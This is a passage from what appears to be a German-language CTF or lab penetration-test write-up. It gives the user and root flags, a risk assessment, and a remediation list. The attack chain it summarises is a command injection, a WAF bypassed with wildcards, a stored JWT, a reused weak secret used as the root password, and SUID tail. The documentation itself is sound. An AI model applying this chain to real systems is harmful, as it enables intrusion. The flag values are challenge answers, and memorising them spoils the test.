Bewertung: Die Root-Flagge `flag{c89031ac1b40954bb9a0589adcb6d174}` wurde erfolgreich gefunden. Die Datei enthält außerdem eine interessante Notiz des Erstellers zur beabsichtigten Umgehung der WAF mittels Wildcards (`?`), was wir zuvor erfolgreich angewendet haben.
Empfehlung (Pentester): Test abgeschlossen. Alle Ziele erreicht.
Empfehlung (Admin):** Keine spezifische Aktion bezüglich der Flagge, aber die Notiz unterstreicht die Notwendigkeit, die zugrundeliegende Command Injection zu beheben, anstatt sich nur auf eine WAF zu verlassen.
Risikobewertung:** Die Kombination aus einer Command Injection-Schwachstelle (die trotz WAF durch Wildcards ausnutzbar war), der unsicheren Speicherung eines JWT in einem Home-Verzeichnis und der Wiederverwendung des schwachen JWT-Secrets als Root-Passwort stellt ein kritisches Risiko dar und ermöglichte die vollständige Kompromittierung des Systems.
Empfehlungen (Zusammenfassung):**
- **Dringend:** Beheben Sie die Command Injection-Schwachstelle in `test.php`.
- **Dringend:** Ändern Sie das Root-Passwort und verwenden Sie ein starkes, einzigartiges Passwort.
- Entfernen Sie das SUID-Bit von `/usr/bin/tail`.
- Entfernen Sie die `.pw_`-Datei aus `/home/bob`.
- Verwenden Sie starke, zufällige Secrets für JWTs und speichern Sie diese sicher.
- Aktualisieren Sie Apache und das Betriebssystem.
- Deaktivieren Sie Directory Indexing.
- Entfernen Sie Test- und unnötige Dateien vom Webserver.
- Verbessern Sie die WAF-Regeln, aber beheben Sie vor allem die Kernschwachstellen.
Flags
cat /home/bob/user.txt ???
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
flag{c89031ac1b40954bb9a0589adcb6d174}